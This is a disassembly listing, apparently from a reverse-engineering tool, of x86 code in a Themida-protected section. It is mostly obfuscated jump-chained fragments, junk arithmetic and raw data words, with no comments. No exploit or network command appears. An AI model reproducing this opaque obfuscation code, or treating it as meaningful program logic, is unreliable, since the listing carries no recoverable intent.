		dd 4C4h, 0F7D2F700h, 98C281D2h,	89DA27D8h, 2434FFD0h, 4C4815Ah
		dd 1000000h, 0B420E9C1h, 92050000h, 2D16DF18h, 0F8769FEh
		dd 8188E95Dh, 0E9550000h, 0A6BFh, 6D2DC581h, 0D5F7050Dh
		dd 9ED6E9h, 24148600h, 53665266h, 2057E9h, 0ED805900h
		dd 7F4EE910h, 0F3010000h, 1A48E9h, 24248B00h, 9C240408h
		dd 0FFFBD9E9h, 0D3F74BFFh, 0A35E9h
byte_544450	db 0			; DATA XREF: ___:off_43CCF4o
; ---------------------------------------------------------------------------

loc_544451:				; CODE XREF: Themida_:0054801Dj
		mov	edx, ecx
		pop	ecx
		push	ebp
		jmp	loc_545130
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFFBC2h, 31243C33h, 3C33243Ch, 4895C24h, 40478F24h
		dd 582434FFh, 68E28952h, 4D21h,	0BB241C89h, 4, 0E904EC83h
		dd 0B7AEh, 22685966h, 8900002Eh, 4DB3241Ch, 28A2C280h
		dd 3EA0E9DAh, 34FF0000h, 2434FF24h, 4C48158h, 0E9000000h
		dd 9202h, 4C481h, 48F0000h, 24248B24h, 9C240421h, 0FFFB59E9h
		dd 0A9B652FFh, 8007E6C0h, 0EE8048C6h, 27B7E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5444DA:				; CODE XREF: Themida_:0054F735j
		mov	ebx, [esp]
		jmp	loc_548A2A
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 50241489h, 0FB30E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5444F2:				; CODE XREF: Themida_:005466CCj
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		sub	ebp, 0D054CB12h
		add	eax, ebp
		pop	ebp
		push	5D44h
		mov	[esp], eax
		xor	dword ptr [esp], 779076DAh
		pop	esi
		jmp	loc_54F161
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 68717F8Bh, 0EC81F301h, 4, 0BE243489h, 4AB5923h, 6E1CE81h
		dd 0EE811DFBh, 0B589E058h, 8B5EF329h, 0C4812434h, 4, 0B849E9h
		dd 241CF700h, 0FAD0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544552:				; CODE XREF: Themida_:005440E6j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5A900364h
		dec	ecx
		sub	ecx, 35A719AFh
		shr	ecx, 2
		inc	ecx
		push	eax
		mov	eax, 6E3D01D7h
		sub	eax, 28B043E4h
		add	eax, 0E1A29D8Ch
		jmp	loc_54E09F
; ---------------------------------------------------------------------------
		dw 87BFh
		dd 1156E46h, 0EF815BDFh, 7CBE5B50h, 5849A02Dh, 5F80167h
		dd 675849A0h, 4ED2E95Fh, 0D8290000h, 4EC815Bh, 89000000h
		dd 0EC83241Ch, 24148904h, 0D46F3868h, 0EAC15A11h, 0E9DAF705h
		dd 83ACh
; ---------------------------------------------------------------------------

loc_5445D0:				; CODE XREF: Themida_:00548564j
		jmp	loc_544022
; ---------------------------------------------------------------------------

loc_5445D5:				; CODE XREF: Themida_:0054EDF4j
		push	6965h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_545DDA
; ---------------------------------------------------------------------------

loc_5445EA:				; CODE XREF: Themida_:0054DDB0j
		add	esi, eax
		pop	eax
		jmp	loc_54FB59
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 57CE1283h, 0B7EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5445FD:				; CODE XREF: Themida_:00546CC3j
		sub	edx, 4A7D3E53h
		jmp	loc_54A831
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0DF3104C4h, 0EF81475Bh, 5F2C3A3Dh, 0A798E9h
		db 0
; ---------------------------------------------------------------------------

loc_54461D:				; CODE XREF: Themida_:00545658j
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_54468E
; ---------------------------------------------------------------------------
		dd 0C697905h, 8BA5259h,	5733266h, 27C66026h, 818DE9h, 0F8E6800h
		dd 14890000h, 2474FF24h, 2434FF04h, 4C4815Ah, 8F000000h
		dd 248B2404h, 24042824h, 4545E99Ch, 55F0000h, 4108842Dh
		dd 34FFC389h, 54505824h, 0E4E95158h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54467F:				; CODE XREF: Themida_:00549E4Bj
		pop	edi
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54FB0D
; ---------------------------------------------------------------------------

loc_54468E:				; CODE XREF: Themida_:0054462Bj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_545A35
; ---------------------------------------------------------------------------

loc_5446A0:				; CODE XREF: Themida_:0054AB05j
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		pop	esi
		shr	edi, 3
		push	edx
		push	16CF2D7Fh
		pop	edx
		or	edx, 6760575Dh
		jmp	loc_54732F
; ---------------------------------------------------------------------------

loc_5446C0:				; CODE XREF: Themida_:0054DB3Fj
		pop	eax
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_54855A
; ---------------------------------------------------------------------------
		dw 489h
		dd 57E08924h, 0AC302668h, 9BE95F66h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5446DF:				; CODE XREF: Themida_:0054E602j
		mov	ecx, ebx
		pop	ebx
		add	[esp+8], ecx
		pop	ecx
		sub	[esp+4], ecx
		push	ecx
		mov	ecx, 55996AB6h
		sub	[esp+8], ecx
		jmp	loc_54FC8F
; ---------------------------------------------------------------------------

loc_5446FA:				; CODE XREF: Themida_:0054D9E4j
		add	al, bl
		pop	bx
		add	al, 0AEh
		add	al, 0CDh
		sub	al, ch
		push	ebx
		mov	bh, 43h
		not	bh
		shr	bh, 8
		shr	bh, 7
		inc	bh
		jmp	loc_5492F4
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 20B42E57h, 0C181D901h, 20B42E57h, 0F181495Bh, 7261DCDh
		dd 8141D9F7h, 82CD79E9h, 0E9CE89D2h, 0ACA8h, 83243489h
		dd 0A66804ECh, 54000074h, 9406E9h, 0EAC15B00h, 3B40E902h
		dd 34FF0000h, 0C4835F24h, 0FFE83104h, 34FF2434h, 242C8B24h
		dd 8104C483h, 4C4h, 4C48100h, 68000000h, 1D9h, 0BE243489h
		dd 587B8E7h, 348BF031h,	5488E924h, 42D0000h, 87000000h
		dd 0F5E92404h, 890000AEh, 74FF243Ch, 3CE90424h,	2800007Dh
		dd 0E99F04D0h, 3F7Ch
; ---------------------------------------------------------------------------

loc_5447B0:				; CODE XREF: Themida_:0054A207j
		pop	edi
		add	edx, ebx
		pop	ebx
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 2BDC033Eh
		add	edx, esi
		add	edx, 2BDC033Eh
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_548A47
; ---------------------------------------------------------------------------

loc_5447E1:				; CODE XREF: Themida_:0054E09Aj
		mov	edi, 702E0D46h
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 42DF214Bh
		add	ebp, 35084DF7h
		add	ebx, ebp
		pop	ebp
		and	ebx, 55EC57CCh
		sub	ebx, 40045486h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_548ED6
; ---------------------------------------------------------------------------
		db 0BEh, 60h, 25h
		dd 0F6813A99h, 1C8634BAh, 72BEF681h, 0F7011F72h, 241C8B5Eh
		dd 3304C483h, 42E9243Ch, 0E90000A5h, 0FFFFF7EAh, 8704EE83h
		dd 0E95C2434h, 0A07Bh, 0C103E0C1h, 67E902E8h, 0AD000084h
		dd 0F468D831h, 89000010h, 0EC812434h, 4, 0E9240489h, 9D3Ah
		dd 2474FF66h, 2C8B6602h, 2C48324h, 24048F66h, 83D5F766h
		dd 87E902ECh, 6600009Fh, 5224048Bh, 0BEE95A54h,	83000074h
		dd 6F6804C4h, 8900005Dh, 81E9240Ch, 5300003Bh, 6A62E9h
		dd 69F8B800h, 502D3710h, 0E9CD7034h, 0A20Eh, 2434875Dh
		dd 3920E95Ch, 0B8680000h, 89000047h, 0AEE92414h, 0FF0000A6h
		dd 669D1C77h, 4196658h,	47E99C24h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5448DB:				; CODE XREF: Themida_:0054D037j
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 81h
		dd 17B23AC2h, 87C68109h, 159965Ch, 87EE81D6h, 5A59965Ch
		dd 6D39E9h
		db 0
; ---------------------------------------------------------------------------

loc_5448FD:				; CODE XREF: Themida_:0054BF8Fj
		pop	ebp
		jmp	loc_54AD41
; ---------------------------------------------------------------------------
		db 0FFh
a4Si		db '4$éI>',0
		db 0
; ---------------------------------------------------------------------------

loc_54490B:				; CODE XREF: Themida_:0054921Fj
		sub	edi, edx
		pop	edx
		add	ebx, 4A60221Ah
		jmp	loc_54804C
; ---------------------------------------------------------------------------

loc_544919:				; CODE XREF: Themida_:00547764j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5440AC
; ---------------------------------------------------------------------------
		dd 3C39EF81h, 0BE5618CCh, 200D57E4h, 1BC4B850h,	0C6316BAAh
		dd 0B5E5E9h, 241C8B00h,	4C481h,	0DCE90000h, 89000002h
		dd 0CB0158C1h, 83240C8Bh, 0E95504C4h, 4881h, 6859C801h
		dd 6192h, 0BF243C89h, 1748C3DDh, 4EC81h, 2C890000h, 3A6BD24h
		dd 4E941EAh, 5400001Bh,	0AC57E9h, 0FA295E00h, 2D2AE9h
		db 0
; ---------------------------------------------------------------------------

loc_544995:				; CODE XREF: Themida_:005484CFj
		add	dword ptr [esp], 62A06B5h
		pop	ecx
		sub	ecx, 62A06B5h
		jmp	loc_54E4BB
; ---------------------------------------------------------------------------
		dd 3D32BB53h, 0EB814BA4h, 0EF91CFE8h, 555BDF01h, 0A06AE9h
		dd 2434FF00h, 582434FFh, 5004C483h, 0BD555854h,	4, 0E95DE801h
		dd 72A9h, 0E9242C89h, 8D6Eh, 20C2814Ah,	0C1200774h, 0F28108E2h
		dd 0A21E1062h, 148BD629h, 3ED9E924h, 34FF0000h,	2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	ecx
		mov	ecx, 6C421703h
		add	ebp, ecx
		jmp	loc_544D03
; ---------------------------------------------------------------------------
		dd 815EF229h, 4651D0EAh, 3D32E90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544A2A:				; CODE XREF: Themida_:0054A943j
		pop	ecx
		shr	eax, 8
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B8B7
; ---------------------------------------------------------------------------
		db 59h,	80h, 0EBh
		dd 9CEB8021h, 0C380D328h, 91B5519Ch, 0C580DDF6h, 80CDFE6Dh
		dd 8CE9BAEDh
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544A5B:				; CODE XREF: Themida_:0054F26Dj
		add	esp, 4
		jmp	loc_5490F3
; ---------------------------------------------------------------------------

loc_544A63:				; CODE XREF: Themida_:0054D787j
		add	bl, 0EDh
		sub	bl, 0C9h
		sub	bl, al
		push	edx
		mov	dh, 0F3h
		jmp	loc_54F591
; ---------------------------------------------------------------------------

loc_544A73:				; CODE XREF: Themida_:00549DE5j
		or	ebx, ebp
		jmp	loc_5490D0
; ---------------------------------------------------------------------------
		dw 91B9h
		dd 1EC6AF2h, 0D82959CBh, 2C68685Bh, 34890000h, 832FBE24h
		dd 0BF571482h, 1B980434h, 82E9F829h, 81000066h,	0EC4473EBh
		dd 5BDA2912h, 8107EAC1h, 96987BF2h, 27C68100h, 1184500h
		dd 27EE81D6h, 5A184500h, 1304E9h, 83E95300h, 100001Ch
		dd 0C1835EF1h, 240C8704h, 0A649E95Ch, 0F6810000h, 0E051D71Ch
		dd 0E95EF589h, 0A684h, 0C3815B54h, 4, 0E904C383h, 6AD1h
; ---------------------------------------------------------------------------

loc_544AF8:				; CODE XREF: Themida_:0054815Ej
		not	ebp
		push	edx
		mov	edx, 2736C6Fh
		inc	edx
		xor	edx, 32206A00h
		or	edx, 3BEC4433h
		shl	edx, 2
		jmp	loc_54F3FC
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0EAh
		dd 811EFD2Dh, 0AE78A5E3h, 67EB817Eh, 876079F3h,	858EE9D3h
		dd 15B0000h, 0E9535DE8h, 0A339h, 0F32FF2BFh, 4F63E956h
		dd 0EE810000h, 4, 5C243487h, 3264E9h
		db 0
; ---------------------------------------------------------------------------

loc_544B51:				; CODE XREF: Themida_:005471EBj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54F272
; ---------------------------------------------------------------------------
		db 81h
		dd 0D73285EBh, 81C3290Bh, 4ECh,	2CEFE900h, 0ABE90000h
		dd 57FFFFF4h, 0FA499DBFh, 89F78134h, 8127D54Eh,	0FB33AAC7h
		dd 5FF9313Ch, 90E9E9h, 2434FF00h, 4C4835Ah, 51E78957h
		dd 2212E9h, 6800h, 3C290000h, 0BB535F24h, 29206C57h, 34A7E9h
		dd 0C9E95700h, 5F000028h, 0D468E8D1h, 8900000Dh, 72BF243Ch
		dd 315D5132h, 0E3355FF8h, 814CD298h, 0EE0E4EC5h, 81C5012Bh
		dd 0EE0E4EEDh, 0BE56582Bh, 2, 0E95EF501h, 8E7Dh, 83240C8Bh
		dd 48F04C4h, 24248B24h,	0FFF421E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_544C01:				; CODE XREF: Themida_:0054A393j
		mov	[esp], ebx
		jmp	loc_547E75
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd offset byte_5847E9
		db 0
; ---------------------------------------------------------------------------

loc_544C11:				; CODE XREF: Themida_:005475ABj
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		xchg	edx, ebx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		push	ebx
		push	edx
		jmp	loc_54E6C3
; ---------------------------------------------------------------------------
		dw 6159h
		dd 0F3E9C39Dh, 8FFFFFF3h, 248B2404h, 24048924h,	0FFF3E5E9h
		dd 5FFA29FFh, 46E9C201h, 31000007h, 0FA8958C7h,	0E9D6015Fh
		dd 0B0Dh, 2BDh,	5DE90100h, 5C240C87h, 2424D366h, 0F3B8E99Ch
		dd 0ED81FFFFh, 3106C29h, 0B091E9h, 0C8B6600h, 4EC8324h
		dd 0E9241489h, 2748h, 4EC8151h,	89000000h, 4812424h, 424h
		dd 5CE95900h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544C9B:				; CODE XREF: Themida_:0054727Ej
		xor	dword ptr [esp], 6DB8191Eh
		pop	ecx
		xor	ecx, 6DB8191Eh
		mov	esi, [esp]
		jmp	loc_54D23C
; ---------------------------------------------------------------------------
		db 48h,	0F7h, 0D8h
		dd 7F177F05h, 0EB033542h, 0F7E9FFA7h, 3100003Eh, 0CDE95FFBh
		dd 6600003Eh, 9C240429h, 4407E9h
		db 0
; ---------------------------------------------------------------------------

loc_544CD5:				; CODE XREF: Themida_:0054BA62j
		mov	edx, esp
		add	edx, 4
		jmp	loc_54915D
; ---------------------------------------------------------------------------
aZass		db 'Zێs',0
		db 0D9h
		dd 6673C180h, 19EB805Bh, 0C380CB00h, 240C8B19h,	4C481h
		dd 7E90000h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_544D03:				; CODE XREF: Themida_:00544A17j
		pop	ecx
		jmp	loc_548988
; ---------------------------------------------------------------------------

loc_544D09:				; CODE XREF: Themida_:0054A836j
		add	esp, 4
		push	3AF9h
		mov	[esp], edi
		mov	edi, 2F457BC8h
		push	2C5Ah
		mov	[esp], edi
		jmp	loc_54A7B2
; ---------------------------------------------------------------------------
		dw 3487h
		dd 34895C24h, 2474FF24h, 24348B04h, 4C481h, 48F0000h, 0F2E0E924h
		dd 4B9FFFFh, 1000000h, 0FF5659CEh, 8B042474h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54EA19
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 0AA8FE9h
		db 0
; ---------------------------------------------------------------------------

loc_544D61:				; CODE XREF: Themida_:00548770j
		not	ecx
		or	ecx, 0BB130DAh
		push	1230h
		mov	[esp], edi
		mov	edi, 6B2F03BAh
		shl	edi, 2
		xor	edi, 5747321Fh
		sub	ecx, edi
		pop	edi
		add	esi, 63EF4325h
		add	esi, ecx
		sub	esi, 63EF4325h
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54D005
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4BF24h, 0FE010000h, 268575Fh, 0FF000000h, 0E95F2434h
		dd 0FFFFF2DFh
; ---------------------------------------------------------------------------

loc_544DBC:				; CODE XREF: Themida_:0054FB88j
		and	edx, 221F4385h
		push	ecx
		jmp	loc_54754C
; ---------------------------------------------------------------------------

loc_544DC8:				; CODE XREF: Themida_:005483AEj
		push	eax
		jmp	loc_54564B
; ---------------------------------------------------------------------------

loc_544DCE:				; CODE XREF: Themida_:0054DE0Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, 34372232h
		add	ebp, eax
		sub	ebp, 34372232h
		pop	eax
		add	ebp, 4
		jmp	loc_54D6E5
; ---------------------------------------------------------------------------
aBimflUrhoUzbsz	db 'ëmFL',0Ah
		db 'URho{ŇUZBé§',7,0
		align 2
		dw 0C681h
		dd 44665AB1h, 0C4E6815Ah, 810E512Fh, 626E85F6h,	5EF00160h
		dd 2D07352Dh, 5D82956h,	562D0735h, 3247052Dh, 66AC6866h
		dd 0C890000h, 72B9B924h, 0C83123CFh, 50240C8Bh,	6768E089h
		dd 8900005Bh, 75BD242Ch, 0D1377517h, 3AC581EDh,	8170746Ch
		dd 0D10810C5h, 396FE973h, 8B660000h, 4BE92404h,	5C000044h
		dd 0E9242C89h, 19D2h
; ---------------------------------------------------------------------------

loc_544E80:				; CODE XREF: Themida_:005480B8j
		push	ebx
		jmp	loc_54827F
; ---------------------------------------------------------------------------
aRUQSsn		db 'RşU)ď{é‘n',0
		dd 4C48300h, 0E92434FFh, 720Dh,	83242489h, 0FF042404h
		dd 0E95F2434h, 9FAAh, 4BB0F66h,	6BE99C24h, 8BFFFFF1h, 66642424h
		dd 5FE90289h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_544EC3:				; CODE XREF: Themida_:0054B56Aj
		xor	edi, 19586E4Fh
		sub	edi, 0FACB9E4Bh
		add	ebp, edi
		jmp	loc_54E990
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0BB532414h, 7ED14861h, 95FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_544EE5:				; CODE XREF: Themida_:005480D0j
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54FB8D
; ---------------------------------------------------------------------------
		dd offset loc_41D368
		align 4
		dd 89243C89h, 46850E7h,	58000000h, 77C0EF81h, 0C7012603h
		dd 77C0C781h, 48B2603h,	4C48124h, 0E9000000h, 0EC5h
; ---------------------------------------------------------------------------

loc_544F2C:				; CODE XREF: Themida_:0054FE7Bj
		push	edi
		push	80000h
		pop	edi
		and	eax, edi
		mov	edi, [esp]
		push	esi
		push	6388h
		mov	[esp], esp

loc_544F41:				; DATA XREF: ___:off_435720o
		jmp	loc_54DB44
; ---------------------------------------------------------------------------

loc_544F46:				; CODE XREF: Themida_:0054570Fj
		mov	esi, 283B05DCh
		push	esi
		push	eax
		push	35D42D7Ch
		pop	eax
		xor	eax, 1DEF2884h
		mov	esi, eax
		pop	eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_54E14B
; ---------------------------------------------------------------------------
		dw 2FBFh
		dd 8340B640h, 0C781FFC7h, 337BEA59h, 3C8BF929h,	4C48324h
		dd 6E68D9F7h, 0E900000Fh, 5612h, 2C8B5455h, 4C48324h, 4C581h
		dd 0BF570000h, 36261EE7h, 0E902EFC1h, 0FFFFFBF9h, 5366D800h
		dd 4EC8152h, 89000000h,	4CB02404h, 0B5518A04h, 46F9E919h
		dd 5580000h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, 38E550Bh
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_547C81
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 2E3AE9h, 4E3C100h, 81CAE94Bh, 0D35C0000h, 0E99C2404h
		dd 34CCh, 0E904C483h, 0A0F9h, 8904EC83h, 4868243Ch, 5F2FF719h
		dd 6BD5C381h, 0FB010798h, 284FE9h
		db 0
; ---------------------------------------------------------------------------

loc_545029:				; CODE XREF: Themida_:005453EAj
		xor	ebx, 49F95897h
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		pop	ebx
		shl	ebp, 6
		dec	ebp
		add	ebp, 45A39F01h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_547AC1
; ---------------------------------------------------------------------------
		dw 0F766h
aSci		db 'Ő閛',0
		align 2
		dw 75BEh
		dd 1E1A4F0h, 0F00159CEh, 8124348Bh, 4C4h, 40500h, 0FF500000h
		dd 58042474h, 8B24048Fh, 2E92424h, 8000004Fh, 0F280B3E2h
		dd 0FFEA80EDh, 0CAFEDAF6h, 8000B753h, 0EF80D9CFh, 80C7FECDh
		dd 0F780FFEFh, 382468F6h, 0C890000h, 80F7B124h,	82E99DE9h
		dd 66000089h, 5324048Bh, 5652E389h, 1E4C7ABEh, 55E6D120h
		dd 2D5E1DBDh, 5DEE213Ch, 3B71C681h, 0F289500Fh,	4EC815Eh
		dd 89000000h, 0E0BD242Ch, 0F725D87Bh, 0F7DDF7D5h, 0B5CD81D5h
		dd 816D536Bh, 736CE3C5h, 5DEA0144h, 266AF281h, 0C28138C0h
		dd 66301D59h, 0AADDE9h,	0E9FD0100h, 1A43h
; ---------------------------------------------------------------------------

loc_545110:				; CODE XREF: Themida_:0054C99Fj
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5460A7
; ---------------------------------------------------------------------------
		db 1
		dd 55C581D5h, 0E9619414h, 3E1Bh
; ---------------------------------------------------------------------------

loc_545130:				; CODE XREF: Themida_:00544455j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546AEE
; ---------------------------------------------------------------------------
		db 0B9h, 0AFh, 0ADh
		dd 0D129A232h, 58C1315Ah, 8B1C4F09h, 8950240Ch,	405E0h
		dd 4050000h, 0E9000000h, 0A2DDh, 34FFD501h, 0EC815A24h
		dd 4, 89243C89h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 2616E9h
		db 0
; ---------------------------------------------------------------------------

loc_545185:				; CODE XREF: Themida_:0054D362j
		xchg	eax, [esp]
		jmp	loc_549C0A
; ---------------------------------------------------------------------------

loc_54518D:				; CODE XREF: Themida_:00547553j
		pop	ecx
		add	edi, edx
		pop	edx
		push	416Fh
		mov	[esp], edi
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		add	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_54CCFB
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC5h, 2339E9FFh, 0C8B0000h, 72F3E924h,	0C7810000h
		dd 6B0D3990h, 970CF781h, 9BE97E53h, 66000091h, 56240C8Bh
		dd 8904EC83h, 4812424h,	424h, 24348B00h, 81E78957h, 4C7h
		dd 4C78300h, 5C243C87h,	16CBD55h, 0EDC122B3h, 5F2AE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545202:				; CODE XREF: Themida_:0054BF99j
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		jmp	loc_54E7F2
; ---------------------------------------------------------------------------
		db 1, 0C5h, 8Bh
		dd 89572404h, 1B60E9E7h, 4BE0000h, 1000000h, 0E9042474h
		dd 283Ah, 0E95AD588h, 5CABh
; ---------------------------------------------------------------------------

loc_545230:				; CODE XREF: Themida_:00549B82j
		push	ebx
		jmp	loc_54E5EF
; ---------------------------------------------------------------------------
		dw 0C8Bh
aSwc		db '$éWc',0
		align 2
a3S?r		db '\3,$�',0
		dw 8100h
aUqbnwsnt	db 'îďBnwé­t',0
		align 2
		dw 15Dh
aISn		db 'ë]éN$',0
		dw 5300h
		dd 0EC81E389h, 4, 89241489h, 4C281E2h, 81000000h, 4EAh
		dd 24143300h, 0E9241431h, 1FA7h, 6600BA52h, 3FE93C36h
		dd 8800004Ch, 82D7E9C3h, 30BB0000h, 0E93ED83Eh,	1CF9h
		dd 0B151665Ch, 66CB0006h, 66F32859h, 2806B652h,	665A66F3h
		dd 7C01E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5452B6:				; CODE XREF: Themida_:0054A405j
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_54E3A0
; ---------------------------------------------------------------------------

loc_5452D3:				; CODE XREF: Themida_:00547F53j
		mov	[esp], edi
		jmp	loc_54624F
; ---------------------------------------------------------------------------
		db 59h
		dd 5304C483h, 0B9515B54h, 39F53525h, 3B9DE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5452EE:				; CODE XREF: Themida_:0054E6D7j
		push	edx
		mov	edx, 10D761E2h
		not	edx
		xor	edx, 0CC62CF57h
		mov	edi, edx
		pop	edx
		and	edi, 79376BF0h
		sub	edi, 229A42EFh
		jmp	loc_54AC2A
; ---------------------------------------------------------------------------
		dd 37CF6852h, 34FF4364h, 24148B24h, 9165E9h, 4BE95100h
		dd 6400001Dh, 2B60F66h,	0FFF953E9h, 0EC685DFFh,	89000034h
		dd 74FF240Ch, 34FF0424h, 240C8B24h, 4C481h, 0C4830000h
		dd 0A86BE904h
dword_545350	dd 4330000h, 0D3665C24h, 0E99C2404h, 0FFFFECC2h, 89B35366h
					; DATA XREF: ___:off_43CCB4o
		dd 0D828622Ch, 8B666204h, 8957241Ch, 4064E9E7h,	48F0000h
		dd 0F7665C24h, 0BE6866E1h, 1489664Bh, 9C506624h, 0FFEC95E9h
		dd 0A7BB53FFh, 0E913CE42h, 799Bh, 1EC6E95Fh, 0E95C0000h
		dd 1A29h, 28C68h, 1426E900h, 4BE0000h, 0E9000000h, 29CFh
; ---------------------------------------------------------------------------

loc_5453B8:				; CODE XREF: Themida_:00546C18j
		neg	ecx
		not	ecx
		add	ecx, 0F4388039h
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	272Ch
		mov	[esp], ebp
		push	ebx
		push	5BDA54B0h
		pop	ebx
		sub	ebx, 8CA2BADh
		jmp	loc_545029
; ---------------------------------------------------------------------------
		db 59h
		dd 0F6FE981h, 0D9F73BD3h, 0CF86E981h, 0CE890468h, 5EF30159h
		dd 21A7E9h, 0BEE95500h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54540F:				; CODE XREF: Themida_:00548F05j
		mov	[esp], ecx
		push	1082h
		mov	[esp], esi
		jmp	loc_54C398
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 59166800h, 4890000h, 4B824h, 0EF810000h, 6CA61F92h
		dd 6FE9C729h, 8900001Dh, 74FF243Ch, 86E90424h, 5C000070h
		dd 2904C483h, 0E99C2404h, 0FFFFEBCAh, 0F82854B7h, 4C5CE9h
		dd 81E98100h, 1612047h,	0E88359C8h, 24048704h, 9B80E95Ch
		dd 0F1290000h, 5224348Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 0C875C24h, 14895C24h, 30E8B224h, 0C6E95AD3h,	0B200001Ch
		dd 80EA80D9h, 808EF280h, 0EAC0BEE2h, 0BF28006h,	89CCE9h
		dd 0C8B60F00h, 7B0C68h,	36CE900h, 0C7810000h, 4, 1638E952h
		dd 1580000h, 72E95AD3h,	0B9000089h, 2, 0F0E9CF01h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5454E3:				; CODE XREF: Themida_:0054C833j
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dd 861FE95Fh, 5A580000h, 0F800A12Ch, 8B66A104h,	0C481241Ch
		dd 2, 0E9C4B252h, 19F8h
; ---------------------------------------------------------------------------

loc_545508:				; CODE XREF: Themida_:0054DC9Bj
		xchg	edx, [esp]
		jmp	loc_54C78E
; ---------------------------------------------------------------------------
		dd 8BD8005Ch, 0C483241Ch, 0EC815104h, 4, 53241489h, 0B31EB551h
		dd 59EB28B5h, 535BDE88h, 5E9F788h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

